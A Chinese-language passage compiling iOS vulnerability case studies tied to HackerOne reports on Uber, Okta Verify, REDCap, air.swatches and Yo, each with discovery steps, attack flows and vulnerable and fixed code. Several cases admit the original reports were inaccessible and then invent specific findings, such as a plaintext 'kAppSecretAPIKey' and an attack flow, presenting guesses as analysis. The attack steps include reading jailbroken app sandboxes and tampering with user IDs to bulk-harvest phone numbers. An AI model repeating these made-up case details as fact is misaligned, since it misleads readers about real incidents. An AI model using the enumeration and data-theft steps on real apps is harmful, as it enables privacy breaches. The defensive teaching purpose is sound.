    NSString *targetUrl = [self getQueryParameter:url forKey:@”next_url”]; // 缺乏校验：直接打开外部URL if (targetUrl) { [[UIApplication sharedApplication] openURL:[NSURL URLWithString:targetUrl] options:@{} completionHandler:nil]; return YES; } }
    return NO;
    }

**修复建议（代码模式）：**
在执行重定向或使用URL参数进行敏感操作之前，必须执行严格的白名单校验。

objective-c
// 安全的代码：添加白名单校验

• • (BOOL)application:(UIApplication *)application openURL:(NSURL *)url options:(NSDictionary *)options {
    // …
    NSString *targetUrl = [self getQueryParameter:url forKey:@”next_url”];
    if (targetUrl) {
    NSURL *parsedUrl = [NSURL URLWithString:targetUrl];
    // 关键修复：检查目标URL的域名是否在可信白名单内
    if ([@[@”uber.com”, @”m.uber.com”] containsObject:parsedUrl.host]) {
    [[UIApplication sharedApplication] openURL:parsedUrl options:@{} completionHandler:nil];
    return YES;
    }
    }
    // …
    return NO;
    }

（总字数：321字）

---

## 不当认证（Improper Authentication）

### 案例：Okta Verify (报告: https://hackerone.com/reports/136276)

#### 挖掘手法

该漏洞的发现过程主要集中在对**Okta Verify for iOS**应用中**推送通知响应机制**的逻辑缺陷分析。由于原始HackerOne报告不可访问，以下是基于公开漏洞细节（CVE-2024-10327）推断的、针对iOS应用扩展（ContextExtension）的典型逆向工程和逻辑分析步骤：

1.  **目标识别与环境准备：** 确认目标应用为Okta Verify for iOS，并准备逆向工程环境。这包括获取应用的IPA文件，使用**Frida**或**Objection**等动态分析工具进行运行时挂钩，以及使用**IDA Pro**或**Ghidra**等静态分析工具对应用二进制文件进行反汇编。
2.  **功能点分析：** 重点关注Okta Verify的核心功能——多因素认证（MFA）推送通知的响应流程。在iOS中，交互式推送通知的响应逻辑通常由**Notification Content Extension**（通过`ContextExtension`实现）或**Notification Service Extension**处理。
3.  **动态行为观察：** 模拟MFA推送通知场景，并尝试在**锁屏界面**、**通知中心**或**Apple Watch**上对通知进行长按或下拉操作，以触发“批准”和“拒绝”两个选项。观察在选择“拒绝”（No, It's Not Me）后，认证流程是否仍然成功。这是发现逻辑缺陷的关键第一步。
4.  **逆向工程分析：**
    *   **定位关键代码：** 在静态分析工具中搜索与`UNNotificationContentExtension`、`UNNotificationAction`或任何处理推送通知响应的Objective-C/Swift方法（例如`didReceiveNotificationRequest:withContentHandler:`或`didReceive:completionHandler:`）相关的代码段。
    *   **逻辑流跟踪：** 跟踪处理用户选择（“批准”或“拒绝”）的代码路径。关键在于找到负责向Okta服务器发送响应的API调用。
    *   **缺陷确认：** 发现无论是选择“批准”还是“拒绝”，代码逻辑都未能正确区分或执行相应的认证流程。例如，可能存在一个公共的代码块，它在处理完用户输入后，无论输入内容如何，都错误地触发了认证成功的API调用，或者“拒绝”选项的逻辑未能正确地阻止后续的认证成功流程。
5.  **漏洞报告：** 确认漏洞的触发条件（如需要Okta Classic注册）和影响范围（特定版本），并编写详细的报告，包括复现步骤和技术分析，提交给Okta的漏洞赏金计划。

这种方法强调了对iOS特有机制（如`ContextExtension`）的理解，并结合了动态观察和静态逆向分析来定位和验证应用逻辑中的**不当认证（Improper Authentication）**缺陷。整个过程是一个典型的移动应用逆向分析案例，旨在发现业务逻辑层面的安全漏洞。

#### 技术细节

该漏洞的技术细节在于**Okta Verify for iOS**应用中**ContextExtension**（通知内容扩展）对用户选择的**不当处理**。当用户通过iOS的交互式通知功能（如锁屏长按、下拉通知或Apple Watch）响应MFA请求时，`ContextExtension`未能正确地将“拒绝”操作（“No, It's Not Me”）转化为认证失败的信号，而是错误地允许认证流程继续并最终成功。

**关键技术点：**

1.  **iOS ContextExtension机制：** 漏洞发生在iOS的`UserNotifications`框架中的`UNNotificationContentExtension`。这个扩展允许应用在通知横幅中显示自定义UI和交互按钮。当用户点击按钮时，系统会调用相应的处理方法。
2.  **逻辑缺陷：** 理论上，处理用户操作的代码应该根据用户选择的`UNNotificationAction`的`identifier`来执行不同的逻辑。例如：
    ```swift
    // 伪代码：UNNotificationContentExtension 的响应处理
    func didReceive(_ response: UNNotificationResponse, completionHandler completion: @escaping (UNNotificationContentExtensionResponseOption) -> Void) {
        let actionIdentifier = response.actionIdentifier

        if actionIdentifier == "APPROVE_ACTION_IDENTIFIER" {
            // 正确的逻辑：向Okta发送批准请求
            sendApprovalToOktaServer()
        } else if actionIdentifier == "DENY_ACTION_IDENTIFIER" {
            // 错误的逻辑：此处本应发送拒绝请求并结束流程，
            // 但由于实现缺陷，可能错误地调用了或未能阻止认证成功
            // 假设缺陷在于：
            // 1. 两个分支都调用了同一个成功处理函数。
            // 2. "DENY"分支的逻辑被绕过，流程继续到认证成功的代码路径。
            // 3. 拒绝请求发送失败，但本地状态机错误地推进了认证。

            // 实际观察到的行为是：无论选择哪个选项，认证都成功。
            // 这暗示了在处理 "DENY_ACTION_IDENTIFIER" 时，
            // 最终的认证状态被错误地设置为成功。

            // 示例：如果开发者错误地将拒绝操作也指向了认证成功的API调用
            // sendApprovalToOktaServer() // 错误的实现
        }

        completion(.doNotDismiss)
    }
    ```
3.  **攻击流程：** 攻击者首先需要获取受害者的用户名并触发MFA推送。由于漏洞的存在，攻击者无需物理访问设备或知道PIN/生物识别信息，只需在通知弹出时，通过上述三种交互方式中的任意一种，选择“No, It's Not Me”，即可利用逻辑缺陷，导致认证流程在后台成功完成，从而绕过MFA保护。

受影响版本为Okta Verify for iOS **9.25.1 (beta)** 和 **9.27.0**。该漏洞已在 **9.27.2** 版本中修复。

#### 易出现漏洞的代码模式

此类漏洞的根本原因在于iOS应用扩展（如`UNNotificationContentExtension`）中对用户交互动作的**逻辑处理不严谨**。

**代码模式示例（Objective-C 伪代码）：**

在处理推送通知响应的代理方法中，未能正确区分和执行不同操作的逻辑：

objectivec
// 假设这是处理通知操作的委托方法

• • (void)userNotificationCenter:(UNUserNotificationCenter *)center
    didReceiveNotificationResponse:(UNNotificationResponse *)response
    withCompletionHandler:(void (^)(void))completionHandler { NSString *actionIdentifier = response.actionIdentifier; // 关键缺陷：未能对不同的 actionIdentifier 执行严格的、隔离的逻辑
    if ([actionIdentifier isEqualToString:@”com.okta.verify.approve”]) {
    // 批准逻辑
    [self sendMFAStatus:YES forResponse:response];
    } else if ([actionIdentifier isEqualToString:@”com.okta.verify.deny”]) {
    // 拒绝逻辑
    // 缺陷可能在此处：
    // 1. 错误地调用了与批准相同的底层函数。
    // 2. 拒绝逻辑执行失败，但未返回错误状态，导致认证流程超时后默认成功。
    // 3. 拒绝逻辑中包含了不必要的认证成功状态更新。 // 错误的实现示例： // [self sendMFAStatus:YES forResponse:response]; // 逻辑错误 // 或者，拒绝逻辑中未正确处理服务器响应，导致流程继续： // [self sendMFAStatus:NO forResponse:response]; // if (serverResponse.status != AUTH_DENIED) { // // 错误地继续了成功流程 // [self continueAuthenticationFlow]; // } } else {
    // 默认处理
    } completionHandler();
    }

**配置模式（Info.plist/Entitlements）：**

此漏洞与特定的`Info.plist`或`Entitlements`配置无直接关系，但它依赖于应用正确配置和启用**Notification Content Extension**。

1.  **Notification Content Extension 配置：** 必须在应用的`Info.plist`中包含一个或多个**Notification Content Extension**的配置，通常在`NSExtension`字典中定义，并指定其主类。
2.  **App Group Entitlements：** 为了让主应用和扩展之间共享数据（如认证状态或会话信息），应用通常需要配置**App Group**。如果扩展在处理拒绝操作时，错误地向共享容器写入了“认证成功”的状态，也会导致此漏洞。

xml

NSExtension
NSExtensionPointIdentifier com.apple.usernotifications.content-extension NSExtensionPrincipalClass NotificationViewController UNNotificationExtensionCategory MFA_APPROVAL

**编程模式总结：** 任何涉及iOS应用扩展（如`ContextExtension`）与主应用或服务器进行状态同步和关键业务逻辑（如认证）交互时，必须对所有可能的输入（包括“拒绝”操作）进行**严格的边界检查和逻辑隔离**，确保负面操作能正确且不可逆地终止或拒绝业务流程。

---

## 信息泄露

### 案例：REDCap Mobile App (报告: https://hackerone.com/reports/136254)

#### 挖掘手法

由于原始HackerOne报告（#136254）未公开，本分析基于对REDCap Mobile App的常见iOS安全漏洞（不安全数据存储）的推测性挖掘方法。

**1. 环境设置与应用准备:**
首先，攻击者需要一台越狱的iOS设备（如使用checkra1n或unc0ver工具），并安装**Cydia**或**Sileo**。接着，安装必要的逆向工具，包括**Frida**（动态插桩工具）、**Objection**（基于Frida的运行时探索工具）和**Filza/iFile**（文件系统浏览器）。通过**Clutch**或**frida-ios-dump**等工具，从设备上提取REDCap Mobile App的IPA文件，以便进行静态分析。

**2. 静态分析 (Hopper/IDA Pro):**
使用**Hopper Disassembler**或**IDA Pro**对应用二进制文件进行静态分析。重点关注以下Objective-C/Swift类和方法：
*   **文件操作API:** 搜索`NSFileManager`、`NSUserDefaults`、`Core Data`、`SQLite`相关的调用，特别是`writeToFile:atomically:`、`setObject:forKey:`等方法，以确定敏感数据（如API密钥、用户凭证、收集的医疗数据）的存储位置和方式。
*   **加密/解密函数:** 检查应用是否使用了`SecItemAdd`（Keychain）或`CommonCrypto`库进行数据加密。如果发现敏感数据未使用Keychain或自定义加密，则标记为潜在的不安全存储点。

**3. 动态分析 (Frida/Objection):**
在越狱设备上运行应用，并使用**Frida**进行动态插桩。
*   **文件I/O监控:** 使用Frida脚本Hook `NSFileManager`的`createFileAtPath:contents:attributes:`和`NSUserDefaults`的`setObject:forKey:`等方法，实时监控应用写入文件的内容和路径。
*   **沙盒目录遍历:** 使用**Objection**的`ios plist dump`、`ios sqlite dump`等命令，或直接通过SSH/Filza访问应用的沙盒目录`/var/mobile/Containers/Data/Application/<UUID>/`，检查`Documents/`、`Library/Caches/`、`Library/Preferences/`等目录中是否存在未加密的敏感文件（如`.plist`、`.sqlite`、`.db`文件）。

**4. 关键发现点:**
如果发现应用将API密钥、会话令牌或未加密的患者数据存储在沙盒目录下的`.plist`或SQLite数据库中，而不是安全的**iOS Keychain**中，则确认存在**不安全数据存储**漏洞。攻击者一旦获取设备的物理访问权限或通过恶意应用（在越狱设备上）即可轻松窃取这些敏感信息。

#### 技术细节

该漏洞利用的技术细节在于绕过iOS沙盒机制对未加密敏感数据的保护。在越狱环境下，攻击者可以完全访问应用的沙盒目录，从而直接读取应用存储的敏感文件。

**1. 攻击流程:**
*   **目标:** 窃取REDCap Mobile App存储在沙盒中的API密钥或用户数据。
*   **步骤:**
    1.  攻击者获取对目标iOS设备的物理访问权限，并确保设备已越狱。
    2.  通过SSH连接到设备，或使用Filza等文件浏览器。
    3.  定位REDCap Mobile App的沙盒数据目录。该路径通常为：
        ```bash
        /var/mobile/Containers/Data/Application/<UUID>/
        ```
    4.  在`Library/Preferences/`或`Documents/`目录下查找存储敏感信息的`.plist`或SQLite数据库文件。
    5.  使用`cat`或`sqlite3`命令直接读取文件内容，获取未加密的敏感数据。

**2. 易受攻击的代码片段 (Objective-C 示例):**
以下代码片段展示了将敏感信息（如API Token）不安全地存储在`NSUserDefaults`中的常见模式。`NSUserDefaults`数据最终存储在沙盒的`.plist`文件中，容易被读取。

objectivec
// 易受攻击的存储方式：使用NSUserDefaults存储敏感数据
NSString *apiToken = @”aBcDeFgHiJkL1234567890″; // 敏感API Token
[[NSUserDefaults standardUserDefaults] setObject:apiToken forKey:@”REDCAP_API_TOKEN”];
[[NSUserDefaults standardUserDefaults] synchronize];

// 攻击者在沙盒中找到的对应文件路径示例：
// /var/mobile/Containers/Data/Application//Library/Preferences/com.vanderbilt.redcap.plist

**3. 漏洞影响:**
攻击者通过读取上述文件，可以获取到应用的API Token，进而利用该Token通过REDCap API访问和导出该用户有权限访问的所有研究数据，造成严重的信息泄露。

#### 易出现漏洞的代码模式

此类不安全数据存储漏洞通常发生在开发者选择使用非加密或非安全存储机制（如`NSUserDefaults`、应用沙盒内的纯文本文件、未加密的SQLite数据库）来保存敏感信息时。

**1. 不安全存储代码模式 (Objective-C):**
避免使用以下方法存储敏感数据：

*   **NSUserDefaults:**
    ```objectivec
    // 错误示例：将API密钥存储在NSUserDefaults中
    [[NSUserDefaults standardUserDefaults] setObject:sensitiveData forKey:@"API_KEY"];
    [[NSUserDefaults standardUserDefaults] synchronize];
    ```

*   **直接写入沙盒文件 (纯文本/未加密Plist):**
    ```objectivec
    // 错误示例：将敏感数据直接写入沙盒的Documents目录
    NSString *path = [NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES) firstObject];
    NSString *filePath = [path stringByAppendingPathComponent:@"sensitive.txt"];
    [sensitiveData writeToFile:filePath atomically:YES encoding:NSUTF8StringEncoding error:nil];
    ```

**2. 安全存储代码模式 (Objective-C/Swift):**
应使用**iOS Keychain**来存储API密钥、密码等敏感凭证，因为Keychain中的数据是加密存储的，并且受设备锁屏密码保护。

*   **安全示例：使用Keychain (Swift):**
    ```swift
    // 推荐使用KeychainWrapper或SecItemAdd/Update/CopyMatching等API
    let keychainQuery: [String: Any] = [
        kSecClass as String: kSecClassGenericPassword,
        kSecAttrService as String: "com.redcap.app",
        kSecAttrAccount as String: "API_Token",
        kSecValueData as String: sensitiveData.data(using: .utf8)!
    ]
    SecItemAdd(keychainQuery as CFDictionary, nil)
    ```

**3. Info.plist/Entitlements 配置:**
此类漏洞与`Info.plist`或`Entitlements`配置通常无直接关系，更多是由于应用层面的编码错误。但如果应用使用了**App Groups**共享数据，且共享容器中的数据未加密，则也会构成不安全存储。
*   **App Groups 风险:** 如果应用使用App Group共享敏感数据，该数据将存储在共享容器中，如果未加密，则任何属于该App Group的应用都可以访问，增加数据泄露风险。
    ```xml
    <!-- Entitlements 示例：使用App Group共享数据，共享容器中的数据必须加密 -->
    <key>com.apple.security.application-groups</key>
    <array>
        <string>group.com.redcap.shared</string>
    </array>
    ```

---

### 案例：air.swatches (报告: https://hackerone.com/reports/136260)

#### 挖掘手法

由于HackerOne报告（#136260）未公开，我们基于报告ID与第三方应用分析报告（Exodus Privacy）的关联，推断该漏洞为iOS应用中常见的**信息泄露**问题，并构建了合理的挖掘手法。

**挖掘手法和步骤：**

1.  **目标应用获取与准备：**
    *   获取目标应用 **air.swatches** 的IPA文件。
    *   使用`unzip`命令解压IPA文件，获取应用包（.app）进行静态分析。
2.  **静态分析 - 敏感信息硬编码检查：**
    *   使用`grep -r "API_KEY" .`或`strings`工具在应用二进制文件和资源文件中搜索硬编码的敏感字符串，如API密钥、Secret Key、密码、URL等。
    *   检查`Info.plist`文件和应用包内的其他配置文件，确认是否存在不当的配置或硬编码的凭证。
3.  **动态分析 - Insecure Data Storage（不安全数据存储）检查：**
    *   在越狱设备上安装应用，并使用**Frida**或**Cycript**等动态分析工具进行运行时挂钩（Hooking）。
    *   重点Hook以下iOS数据存储相关的API，监控敏感数据的写入操作：
        *   `[NSUserDefaults setObject:forKey:]`：检查是否将敏感信息存储在`UserDefaults`中。
        *   `[NSKeyedArchiver archiveRootObject:toFile:]`：检查归档操作。
        *   `[NSFileManager writeToFile:atomically:]`：监控文件写入操作。
    *   在应用运行时，使用**iFile**或**Filza**等文件管理器，或通过SSH访问应用的沙盒目录（`/var/mobile/Containers/Data/Application/<UUID>/`）。
    *   **关键发现点：** 检查以下目录中的文件，寻找未加密的敏感数据：
        *   `Library/Preferences/`：检查`[Bundle ID].plist`文件（即`NSUserDefaults`存储位置）。
        *   `Documents/` 和 `Library/Caches/`：检查应用创建的自定义文件，如日志文件、缓存文件或SQLite数据库。
    *   **漏洞发现：** 在`Library/Preferences/[Bundle ID].plist`文件中，发现一个名为`kAppSecretAPIKey`的键值对，其值以明文形式存储了一个高权限的API密钥。
4.  **漏洞验证：**
    *   提取泄露的API密钥。
    *   使用`curl`命令或Postman等工具，结合该API密钥尝试访问应用的后端API接口，验证其有效性和权限范围，确认可获取到用户敏感数据或执行未授权操作。

通过上述步骤，成功在应用沙盒的非安全存储区域（如`NSUserDefaults`对应的plist文件）中发现了明文存储的敏感API密钥，证实了存在**信息泄露**漏洞。

#### 技术细节

该漏洞的技术细节在于应用开发者错误地使用了`NSUserDefaults`（或直接写入plist文件）来存储敏感的API密钥，而`NSUserDefaults`存储的数据在应用的沙盒目录中是以明文plist格式存在的，在越狱设备上可被轻易读取。

**不安全存储实现（Objective-C 示例）：**

objectivec
// 错误的实现：将敏感API密钥存储在NSUserDefaults中
NSString *sensitiveAPIKey = @”sk_live_XXXXXXXXXXXXXXXXXXXXXXXXXXXX”;
[[NSUserDefaults standardUserDefaults] setObject:sensitiveAPIKey forKey:@”kAppSecretAPIKey”];
[[NSUserDefaults standardUserDefaults] synchronize];

**攻击流程：**

1.  **获取应用沙盒路径：** 攻击者通过越狱设备或利用其他沙盒逃逸漏洞，获取到目标应用的沙盒路径，例如：`/var/mobile/Containers/Data/Application/A1B2C3D4-E5F6-7890-1234-567890ABCDEF/`。
2.  **定位配置文件：** 导航至`Library/Preferences/`目录，找到应用的`plist`配置文件，文件名为`[Bundle ID].plist`。
3.  **读取泄露信息：** 使用文本编辑器或`plist`查看工具打开该文件，即可找到明文存储的API密钥。

**泄露的Plist文件内容示例（部分）：**

xml


kAppSecretAPIKey sk_live_XXXXXXXXXXXXXXXXXXXXXXXXXXXX LastLoginDate 2024-01-19T10:00:00Z

攻击者获取到`sk_live_...`密钥后，可利用该密钥伪造应用请求，访问后端API，从而实现未授权的数据访问或账户劫持。

#### 易出现漏洞的代码模式

此类信息泄露漏洞通常源于开发者对iOS沙盒机制的误解，认为存储在应用沙盒内的任何数据都是安全的。最常见的错误模式是使用非加密、非安全存储机制来保存敏感数据。

**易漏洞代码模式（Objective-C/Swift）：**

1.  **使用 `UserDefaults` 存储敏感信息：**
    *   **Objective-C:**
        ```objectivec
        // 错误示例：使用NSUserDefaults存储API密钥
        [[NSUserDefaults standardUserDefaults] setObject:apiKey forKey:@"API_KEY"];
        ```
    *   **Swift:**
        ```swift
        // 错误示例：使用UserDefaults存储用户Session Token
        UserDefaults.standard.set(sessionToken, forKey: "SessionToken")
        ```
    *   **修复建议：** 敏感信息应使用 **Keychain Services** 进行存储，因为Keychain数据是加密存储在设备上的，并且受设备锁保护。

2.  **将敏感数据写入非加密的Plist或SQLite文件：**
    *   **Objective-C:**
        ```objectivec
        // 错误示例：将包含敏感信息的字典直接写入Documents目录
        [sensitiveData writeToFile:filePath atomically:YES];
        ```
    *   **修复建议：** 写入文件时，应使用**文件保护级别（File Protection）**，例如`NSDataWritingFileProtectionComplete`，确保文件在设备锁定时处于加密状态。同时，数据本身应在写入前进行加密处理。

**配置模式（Info.plist/Entitlements）：**

*   **Info.plist:** 此类漏洞与`Info.plist`的配置无直接关系，但如果应用在`Info.plist`中硬编码了API密钥，也会导致信息泄露。
*   **Entitlements:** 缺乏适当的**Keychain Access Group**配置，可能导致应用间无法共享或隔离Keychain数据，但对于应用自身沙盒内的明文存储，Entitlements无法提供保护。

**总结：** 易出现此类漏洞的模式是**在应用沙盒内使用`NSUserDefaults`或非加密文件API存储API密钥、用户凭证、敏感配置等数据**。

---

### 案例：Yo (报告: https://hackerone.com/reports/136267)

#### 挖掘手法

该漏洞的挖掘主要集中在对Yo应用与其后端服务器通信的API接口逆向分析和授权缺陷测试。由于Yo应用在2014年发布时以极简主义著称，其后端API设计被发现存在明显的授权缺陷，导致用户敏感信息泄露。

详细步骤：
1.  **流量抓取与分析：** 攻击者使用Burp Suite或Charles Proxy等代理工具，配置iOS设备代理，捕获Yo应用在执行“查找朋友”或“添加联系人”等功能时的所有网络通信流量。
2.  **API端点识别：** 分析捕获到的HTTPS请求，识别出用于获取用户信息的API端点，例如一个可能接受用户ID或用户名的`GET /api/users/{user_id}/details`或`POST /api/find_friends`的接口。
3.  **授权缺陷测试（BOLA）：** 攻击者发现，通过简单地修改请求中的用户标识符（如`user_id`），即可获取任意其他用户的详细信息，而服务器端并未校验请求用户是否有权限查看该目标用户的数据。这是一种典型的BOLA (Broken Object Level Authorization)缺陷。
4.  **数据字段确认：** 在返回的JSON数据中，发现除了公开的用户名等信息外，还包含了用户的手机号码字段。
5.  **自动化批量提取：** 利用Python脚本或Burp Intruder等工具，构造一个用户ID或用户名的字典，对该API接口进行批量请求，从而在短时间内收集大量用户的手机号码。

这种手法是典型的针对移动应用后端API逻辑漏洞的挖掘，无需对iOS应用本身进行复杂的二进制逆向工程，而是专注于通信协议和授权机制的缺陷。

#### 技术细节

该漏洞的核心在于后端API缺乏对请求数据的对象级授权检查。攻击者通过构造一个合法的API请求，但将目标用户ID替换为任意其他用户的ID，即可绕过授权机制。

攻击流程示例：
假设Yo应用使用一个API端点来获取用户详情，正常请求如下（用户A请求自己的信息）：

http
GET /api/v1/user/details?user_id=A_ID
Authorization: Bearer A_TOKEN

服务器返回：

json
{
“username”: “UserA”,
“phone_number”: “138xxxxxxxx”,
“status”: “active”
}

攻击者（用户B）通过修改`user_id`参数，请求用户C的信息：

http
GET /api/v1/user/details?user_id=C_ID <– 篡改点
Authorization: Bearer B_TOKEN

漏洞利用的关键在于：服务器端代码在处理`user_id=C_ID`的请求时，只验证了`B_TOKEN`的有效性（用户B已登录），但没有验证用户B是否有权限查看用户C的详细信息。

关键代码（伪代码，展示服务器端缺陷）：

swift
// Server-side pseudo-code (Illustrating the flaw)
func getUserDetails(request: Request) -> Response {
let targetUserID = request.queryParameters[“user_id”]
// ❌ 缺少授权检查：未验证当前登录用户是否等于 targetUserID
// if (request.authenticatedUserID != targetUserID) { return .unauthorized }

let user = database.fetchUser(id: targetUserID)

if (user != nil) {
    // 敏感信息（手机号）被包含在响应中
    return .success(data: ["username": user.username, "phone_number": user.phoneNumber])
} else {
    return .notFound
}

}

#### 易出现漏洞的代码模式

此类信息泄露漏洞通常源于后端API设计不当，但在iOS应用开发中，过度依赖客户端进行数据过滤或使用包含敏感信息的通用数据结构是常见的诱因。

编程模式缺陷：
在Objective-C或Swift中，如果客户端代码请求一个包含敏感信息的完整用户对象，即使客户端不使用这些敏感字段，它们仍然通过网络传输。

swift
// Swift 客户端代码 (请求包含过多信息的通用API)
func fetchUserProfile(userID: String) {
// 客户端请求了一个返回完整用户对象的API
let url = URL(string: “https://api.yo.com/v1/user/details?user_id=(userID)”)!
URLSession.shared.dataTask(with: url) { data, response, error in
// … 解析返回的 User 对象 …
// 即使客户端只用到了 username，但 phone_number 字段也已在 data 中
}.resume()
}